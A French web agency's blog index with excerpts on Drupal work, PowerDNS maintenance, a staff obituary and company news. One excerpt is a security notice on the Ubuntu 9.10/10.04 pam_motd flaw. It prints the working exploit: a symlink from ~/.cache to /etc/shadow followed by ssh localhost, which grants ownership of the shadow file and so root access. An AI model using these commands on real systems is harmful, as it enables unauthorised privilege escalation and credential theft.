Blogs

Voici quelques modules qui m'ont été bien utiles pour nos derniers projets Drupal :

C'est avec choc et douleur que nous avons appris la disparition soudaine de Mohamed Behmane le vendredi 18 février 2011. Ce décès brutal nous laisse d'autant plus sans voix, nous, ses collègues à OWS, que depuis son arrivée en octobre 2010, nous avions tissé des liens forts propres au travail en équipe dans une petite structure.

Aussi, au nom de toute l'équipe, nous tenions a rendre un dernier hommage à Mohamed, et dire combien il nous manquera : ses qualités tant humaines que professionnelles, sa joie de vivre, son humour et son sérieux, apportaient tous les jours leur contribution positive à l'aventure humaine qu'est Open Web Solutions.

Mohamed, tu nous manqueras, tout simplement. Puisses-tu reposer en paix.

Nous tenions aussi à renouveler toutes nos condoléances à la famille et aux proches.


Amine, Arthur, Cédric, Danuta, David, Franck, Julien, Ibrahima, Martine, Pierre, Pierre, Stéphane, Sylvain

Chez Open Web Solutions, on utilise Drupal, on respire Drupal, on mange Drupal, on vit Drupal.

Pour le développement de nos sites web, nous utilisons notamment le module coder de drupal qui permet de valider, via sa fonctionnalité de Code review, le respect des conventions de code de Drupal. Le respect de ces conventions permet notamment de nous sauvegarder d'erreurs mineures ainsi que d'oublis qui pourraient engager la sécurité de nos développements, de s'assurer de la concordance avec les API de drupal et de faciliter la relecture du code via un autre développeur Drupal.

Pour assurer cette relecture de code automatique, coder utilise des expressions régulières mais il lui arrive de temps en temps de se tromper. Loin de moi l'idée qu'il se trompe sur la forme, mais il est parfois nécessaire de faire des infractions aux conventions de code pour, par exemple, étendre les fonctionnalités de sécurité. Ces infractions sont donc connues et nous demandons à coder de les ignorer.

PowerDNS Logo

PowerDNS est un serveur DNS très fonctionnel, je ne vais pas m'attarder sur le fait, qu'à mon sens, c'est le plus complet et stable actuellement.

Je ne vais pas non plus vous détailler toutes les possiblités, vous trouverez plein d'informations sur les sites suivant:

- http://wiki.powerdns.com/trac

- http://www.powerdns.com

Lors de l'utilisation de ces serveurs en mode SUPERmaster et SUPERslave, tous les domaines des supermasters sont répliqués vers le superslave (sans entrer dans un système d'axfr par domaine).

Après quelques années d'utilisation, notre superslave avait environ:

* 28 618 entrées pour les domaines

* 208 233 entrées d'enregistrements.

Nous avions un souci de charge sur cette machine et la plupart des domaines en base de données (Mysql) n'étaient plus sous notre gestion. Il en résultait des délais très long pour un simple notify et des désynchronisations de domaines.

La création d'un script s'imposait afin de vérifier l'ensemble des domaines du SUPERslave et ainsi récupérer des performances acceptables.

Quelques mots sur notre architecture, nous avons 1 serveur à l'extérieur de notre réseau qui est superslave de nos ip ranges (soit une quinzaine de supermasters).

Aujourd'hui, une faille de sécurité assez simple à mettre en oeuvre a été révélée. Elle n'impacte que la distribution Linux Ubuntu sur les versions 9.10 et 10.04.

Dès ce matin, nous avons pu constater qu'une mise à jour critique était disponible sur la distribution Ubuntu.

Celle-ci concerne donc ce problème de sécurité qui permet à n'importe quel utilisateur loggué sur la machine d'acquérir les droits du compte root (superadmin).

L'exploit se base sur une faiblesse du module pam_motd qui est intégré dans la chaine d'authentification.

Il est donc possible de simplement le retirer la pile pam via les fichiers de configuration ou de mettre à jour comme préconisé.

Je vous communique l'exploit à titre d'information:

Admettons que je sois loggué sur la machine sous l'utilisateur: franck

---

rm -rf ~/.cache

ln -s /etc/shadow ~/.cache

ssh localhost

---

Vous voila propriétaire du fichier /etc/shadow !

Ce qui vous permettra bien évidemment de récupérer l'accès root...

En auditant ou simplement en voyant récemment quelques sites réalisés par mes concurrents mais néanmoins concurrents sous drupal 6, une évidence m'a sauté au visage : le Back-Office contributeurs (webmasters, éditeurs, journalistes...) de la plupart des sites réalisés sous drupal n'est souvent pas à la hauteur du niveau fonctionnel du Front-Office. Je ne dis pas que c'est le cas de tous les projets sous drupal, mais le manque de temps (et surement de poste budgétaire), et/ou de connaissance de certains modules sur ces sites font qu'un super site se transforme en cauchemar à administrer pour le client, avec une interface soviétique à faire pâlir d'envie Youri Gagarine.

Forcément, drupal est réputé pour sa faible ergonomie par défaut, et cela fait les beaux jours des éternels trollsdébats sur la guerre des mondes Wordpress/Drupal, comme dans ce genre de manifestation où votre serviteur était présent (bien que flou).

 

On ne va pas verser dans l'émotion, ni dans le plan téléfilm américain avec nos épouses à nos côtés et le drapeau derrière nous, mais cela me fait quand même chaud au coeur de prendre 2 minutes pour se retourner et se dire : Waouh, déjà 9 ans qu'on fait de l'Open Source, et toute l'équipe est toujours aussi excitée à la sortie d'un nouveau module drupal ou à la découverte de nouvelles applications libres qui vont révolutionner le monde.

Et la chose dont je suis le plus fier aujourd'hui est que OWS ait réussi à grandir et évoluer tout en gardant ses valeurs fondatrices : le libre, le partage des connaissances (cf Cooletude , qui aura 10 ans d'existence bientôt), la conviction que le web est un marché porteur même dans les moments difficiles. Je suis de plus très fier de travailler avec toute l'équipe OWS, d'avoir des collaborateurs de si grande valeur humaine et professionnelle

</mode_discours_pdg>

Sinon désolé de notre silence qui commence à durer sur ces blogs, nous avons pas mal été occupés ces derniers temps mais on vous promet plein de nouveaux sites pour le printemps, nous n'avons pas chomé depuis.

Il fut un temps où avoir une interface d'un site drupal en français relevait du défi, à la fois humain et technologique (comment, où, avec quels outils....).

Rassurez-vous c'était un problème commun à toutes les versions non anglophones de drupal et sans la contribution de quelques volontaires passionnés et technophiles (dont votre serviteur), la traduction des modules drupal n'avançait pas beaucoup et n'était pas très ouverte.


Heureusement Gabor Hojtsy, un des core developpeur drupal, a lancé en septembre à l'occasion du DrupalCon Paris, une interface dédiées à la localisation (la traduction en langage informatique) de drupal et de ses modules. Bien que encore en version Beta et pouvant être encore amélioré, localize.drupal.org a connu un engouement mérité de la part de la communauté francophone, car proposant sur une seule interface web les fonctionnalités suivantes :

A force de conseiller ce lien à nos clients, je me suis demandé pourquoi je ne l'ai pas posté plus tôt sur ce blog :

Univers Netvibes Drupal

Il rassemble en une page (et plusieurs onglets) l'ensemble des outils et sources d'informations indispensables sur drupal, pour les développeurs mais aussi pour les utilisateurs : nouvelles sorties de modules, actualités des blogs influents, alertes de sécurité, forums....


Mis à part le flux deli.cio.us de OWS (le bloc en bas de la colonne droite des blogs OWS), je ne vois pas d'outil plus essentiel pour votre culture drupal :)

Nous étions présent au drupalcamp de Vienne les 27 et 28 novembre où de nombreuses sessions ont eu lieu. Il est à noter l'arrivée de MongoDb dans drupal. L'organisation était admirable dans les locaux de l'université de technologie de Vienne au centre ville. Les photos sont disponibles sur Flickr!. Pour OWS, pas de présentation cette fois ci mais des liens renforcés dans la communauté drupal. Quelques liens glanés pendant les présentations :

Syndiquer le contenu